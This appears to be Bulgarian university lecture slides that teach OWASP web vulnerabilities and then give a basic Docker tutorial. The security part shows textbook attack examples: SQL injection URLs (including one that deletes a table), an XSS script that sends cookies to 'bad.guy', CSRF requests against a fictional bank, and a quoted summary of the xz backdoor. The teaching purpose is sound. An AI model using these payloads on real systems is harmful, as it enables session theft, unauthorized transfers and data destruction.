Методи за защита на информацията от заплахи
Ще обърнем внимание основно на приложния и представителния слой
OWASP е фондация с идеална цел, посветена на подобряване на сигурността на уеб приложения
<form action="/buy">
<input type="hidden" name="discount" value="0">
</form>
query = "SELECT * FROM users WHERE id = " + id;
https://example.com/profile.php?id=2 OR 1=1
https://example.com/profile.php?id=2; DELETE FROM users
<p>Коментар:<br><?= $userComment ?></p>
<script>window.location="http://bad.guy/?cookie=" + document.cookie</script>
<img src="logo.png" onload="var xhr=new XMLHttpRequest();\
xhr.open('GET', '/authService/user/delete?name=bob', true);xhr.send();"/>
logged = true;
if (password && hash(password) != correctHash)
logged = false;
http://example.com/edit-profile
http://example.com/edit-profile?username=admin
Hi! You have won $1,000,000!
Click <a href="https://lame.bank/send?to=BADGUY&sum=10000">here</a>
to claim your prize!
<img src="https://lame.bank/send?to=BADGUY&sum=10000" width="0" height="0"/>
Malicious code was discovered in the upstream tarballs of xz, starting with version 5.6.0. Through a series of complex obfuscations, the liblzma build process extracts a prebuilt object file from a disguised test file existing in the source code, resulting in a modified liblzma library that can be used to intercept and modify the data interaction with this library.
Програми, които софтуерно реализират хардуер
Предимства:
Недостатъци:
Изолирани потребителски пространства, споделящи ОС и библиотеки
Предимства:
Недостатъци:
docker run --name mycontainer hello-world
docker kill mycontainer
docker ps [-a]
docker rm [-f] mycontainer
docker run --name myserver \
-p 8080:80 \
-v /home/trifon/myapp:/usr/share/nginx/html:ro \
-d nginx
docker exec -it myserver bash
Образите на контейнерите се описват с последователност от инструкции в Dockerfile
FROM ubuntu:22.04
MAINTAINER triffon@fmi.uni-sofia.bg
COPY mine_dogecoin.sh /root/
RUN useradd -p doge miner
CMD mine_dogecoin.sh
docker build -t dogeminer .
docker pull ubuntu:22.04
docker images
docker rmi ubuntu
docker push dogeminer:latest